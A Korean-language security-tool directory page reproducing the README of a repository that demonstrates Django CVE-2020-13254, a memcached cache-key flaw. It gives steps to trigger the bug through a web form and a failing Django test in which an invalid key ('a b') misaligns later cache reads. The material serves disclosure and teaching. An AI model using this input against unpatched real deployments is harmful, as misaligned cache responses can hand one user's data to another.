Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/danpalmer/django-cve-2020-13254
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubdanpalmer/django-cve-2020-13254

django-cve-2020-13254

Django CVE-2020-13254 취약점 데모

저장소 보기
2126년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Django CVE-2020-13254

이 저장소는 CVE-2020-13254의 악용을 두 가지 방식으로 보여줍니다. 웹 인터페이스를 통한 방식과 실패하는 테스트 케이스를 통한 방식입니다.

자세한 내용은 다음을 방문하세요:

https://danpalmer.me/2020-06-07-django-memcache-vulnerability/

웹을 통한 악용

이 예제는 캐시에 값을 설정하는 폼과 값을 가져오는 폼, 두 개의 폼이 있는 웹 인터페이스를 제공합니다. 이들은 Django 캐시 백엔드 호출로 직접 변환됩니다. 이 코드베이스는 세션 또는 인증 시스템을 구현하지 않으므로, 같은 브라우저 탭에서의 여러 사용은 서로 다른 머신을 사용하는 여러 사용자와 구분할 수 없습니다.

악용하려면:

  1. A 및 B 키를 a 및 b 값으로 설정합니다.
  2. C D 키를 c d 값으로 설정하려고 시도합니다. 이는 오류를 발생시킵니다.
  3. A 키를 조회하려고 시도하면, 잘못되게도 결과가 없습니다.
  4. B 키를 조회하려고 시도하면, 결과가 잘못되게도 a가 됩니다.

테스트를 통한 데모

이 과정은 다음과 같이 테스트 케이스로 표현할 수 있습니다:

root@kitploit:~
from django.core.cache import cache
from django.test import TestCase


class CacheTests(TestCase):
    def test_cache(self):
        cache.set('k1', 'v1')
        cache.set('k2', 'v2')
        try:
            cache.set('a b', 'v3')
        except Exception:
            pass
        self.assertEqual(
            [
              cache.get(x) for x in
              ['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
            ],
            ['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
        )

이 테스트는 다음 오류와 함께 실패합니다:

root@kitploit:~
=============================================================
FAIL: test_cache (demo.tests.CacheTests)
-------------------------------------------------------------
Traceback (most recent call last):
  File "tests.py", line 30, in test_cache
    'v1',
AssertionError: Lists differ

First differing element 0:
None
'v2'

- [None, 'v2', 'v1', 'v2', 'v1', 'v2']
?  ------

+ ['v2', 'v1', 'v2', 'v1', 'v2', 'v1']
?                              ++++++

-------------------------------------------------------------

set 이후 반환되는 캐시 결과는 수행되는 쿼리와 어긋나게 됩니다.

도구 다운로드